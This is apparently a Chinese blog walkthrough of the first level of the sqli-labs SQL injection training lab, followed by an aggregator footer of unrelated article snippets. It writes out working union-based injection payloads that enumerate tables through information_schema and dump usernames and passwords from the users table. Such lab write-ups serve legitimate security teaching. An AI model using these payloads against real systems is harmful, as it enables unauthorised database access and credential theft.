sqli第一关

2023-10-27

一、判断注入类型

  1. 根据提示,往id里传参,由于是GET方式传输数据,所以直接在URL里传参即可

  1. 传入?id=\,根据结果判断是用单引号(’)来闭合的

二、获取字段个数

  1. 执行参数?id=1,根据结果可知字段数是大于等于2的

  1. 执行?id=1’ order by 3 --+ 和?id=1’ order by 4 --+两个参数,结果发现前者不报错,后者报错,可以得出该表有三个字段

三、获取显示位

  1. 传入?id=1’ union select 1,2,3 --+和?id=-1’ union select 1,2,3 --+两个参数,结果得出显示位

四、获取数据库和数据表信息

  1. 执行命令

     ?id=-1’ union select 1,database(),group_concat(table_name) from

information_schema.tables where information_schema.tables.table_schema=database() --+

根据结果可得

数据库名为:security

数据表名为:emails,referers,uagents,users

五、获得指定表的字段

  1. 执行命令

?id=1’ and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' -- +

根据结果可知

users表共包括三个字段,分别为id、username、password

六、获得指定表的值

  1. 执行命令

?id=1’ and 1=2 union select 1,2,group_concat(id,0x23,username,0x23,password) from security.users -- +

根据结果可知users表共有14组数据。(不一一列出啦)

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

sqli第一关 的相关文章

随机推荐

  • AI时代,三步走成为超级个体!

    什么是超级个体 超级个体要同时满足 专业技能 商业变现 脱离依附三大要素 跃迁 言简意赅一点就是具备脱离平台也能生存能力的人 通俗的说就是一个人也能赚钱的人 像职场达人 副业高手 创业者等 为什么在AI时代每个人都必须成为超级个体 1 因为
  • OpenCV-Python教程(5、初级滤波内容)

    本篇文章介绍如何用OpenCV Python来实现初级滤波功能 提示 转载请详细注明原作者及出处 谢谢 本文介绍使用OpenCV Python实现基本的滤波处理 本文不介绍滤波处理的详细概念 所以读者需要预先对其有一定的了解 简介 过滤是信
  • 数学,金融,计算机优秀博客

    数学 金融 计算机优秀博客 网址 http zhiqiang org blog link 阅微堂 阅微堂认同的优秀博客标准为 有更新 原创 一年以前的文章还有价值 数学 谢松 木遥 Han Yan 统计之都 张驰原 李淼 科学松鼠会 卢昌海
  • 理解图像卷积操作的意义

    参考 http blog csdn net chaipp0607 article details 72236892 locationNum 9 fps 1 理解图像卷积操作的意义 标签 图像处理图像卷积 2017 05 16 22 40 4
  • 压缩感知应用于核磁共振图像

    1 对于K空间的理解 https www douruixin com 2018 11 15 20181115
  • Flex builder的调试时需要flash player debug版本

    在adobe的网站上 有几种debug版本 http www adobe com support flashplayer downloads html 第一个是IE的插件 Download the Windows Flash Player
  • Android最常用命令-Adb

    adb 挂载及过滤 获得root权限后 获得写权限 adb disable verity 第一次 adb root 挂载 adb remount 重新挂载系统分区 使系统分区重新可写 只针对system分区 adb shell mount
  • Hadoop 启动,提示:JAVA_HOME is incorrectly set with hadoop

    编辑C hadoop hadoop 2 8 2 etc hadoop 目录下的hadoop env cmd文件时 修改JDK的安装目录 错误编辑文件 set JAVA HOME C Program Files Java jdk1 8 0 1
  • Java语法-向下转型、instanceof

    向上转型 左父右子 向下转型 子类类型名 变量名 子类类型名 之前的变量名 向下转型一定要进行 instanceof 判断 public class Dog extends Pet public Dog String name 继承必须调用
  • 【51单片机】串口通信/LED点阵

    需要云服务器等云产品来学习Linux的同学可以移步 gt 腾讯云 lt gt 阿里云 lt gt 华为云 lt 官网 轻量型云服务器低至112元 年 新用户首次下单享超低折扣 目录 一 串口介绍
  • Nacos 在 Apache APISIX API 网关中的服务发现实践

    Apache APISIX 是一个动态 实时 高性能的 API 网关 提供负载均衡 动态上游 灰度发布 服务熔断 身份认证 可观测性等丰富的流量管理功能 它不仅拥有众多实用的插件 而且支持插件动态变更和热插拔 同时在使用服务发现组件时 不仅
  • 指针与引用的区别,指针与引用的底层实现是否一样?

    指针与引用 在More Effective C 的条款一有详细讲述 条款一 指针与引用的区别 指针与引用看上去完全不同 指针用操作符 和 gt 引用使用操作符 但是它们似乎有相同的功能 指针与引用都是让你间接引用其他对象 你如何决定在什么时
  • 情感分析的分类,情感分析模型有哪些,情感分析的应用场景,情感分析的发展趋势

    1 情感分析的分类 1 基于情感极性的分类 将文本的情感分为正向 负向和中性三类 2 基于情感维度的分类 将文本的情感分为喜欢 愤怒 悲伤 惊喜等多个情感维度 2 情感分析模型 1 基于词典的情感分析模型 使用情感词典 根据文本中的情感词出
  • 深入理解java7解压密码_7.2.2 通过GzipResourceResolver压缩静态资源 -《SSM深入解析与项目实战》...

    7 2 2 通过GzipResourceResolver压缩静态资源 前面使用到了缓存 但是第一次加载文件是不会走缓存的 为了降低传输的数据量 这个情况下就需要进行资源的压缩了 现代浏览器 基本都是支持gzip协议的 支持客户端解压处理 主
  • Linux内核软中断softirq和小任务tasklet分析(六)

    1 概述 硬件的中断处理函数处于中断上半部分 在CPU关中断的状态下执行 中断线程 软中断 softirq 及小任务 tasklet 属于中断的下半部分 bottom half 在CPU开中断的状态下执行 小任务基于软中断实现 实质是对软中
  • Java代码审计入门基础之Spring

    Java代码审计入门基础之Spring 目前大部分的 Java 互联网项目 都是用 SSM Spring MVC Spring MyBatis 框架组合搭建的 当然现在SpringBoot也很流行 但是学习Java代码审计 先从SSM框架开
  • Python定时任务实现的四种方案

    昨晚凌晨两点 小编接到女神的电话 心里正心猿意马 没想到电话中的女神竟带着哭腔和我说老板让她现在就去公司加班 我很好奇的问她什么事情要这么晚去 女神委屈的说 因为我们公司这个产品是针对美国用户 存在时差 说完又哭了起来 唉 小编心想终于有机
  • Python学习笔记(八):表达式及运算符的优先级

    一 定义 表达式 Expression 是运算符 operator 和操作数 operand 所构成的序列 二 优先级 最高 gt 最低等级的排列 运算符 描述 指数 最高优先级 按位翻转 正号 负号 乘 除 取模和取整除 加法 减法 gt
  • Unity二维平面上物体的移动(一)

    实验一个最简单的二维平面上物体的移动 通过键盘的WASD来控制物体 先建立二维平面 摄像机是默认出来的 我们导入一个圆形 Circle 然后给Circle添加组件 Add Component New Script 通过在脚本中输入不同按键
  • sqli第一关

    一 判断注入类型 根据提示 往id里传参 由于是GET方式传输数据 所以直接在URL里传参即可 传入 id 根据结果判断是用单引号 来闭合的 二 获取字段个数 执行参数 id 1 根据结果可知字段数是大于等于2的 执行 id 1 order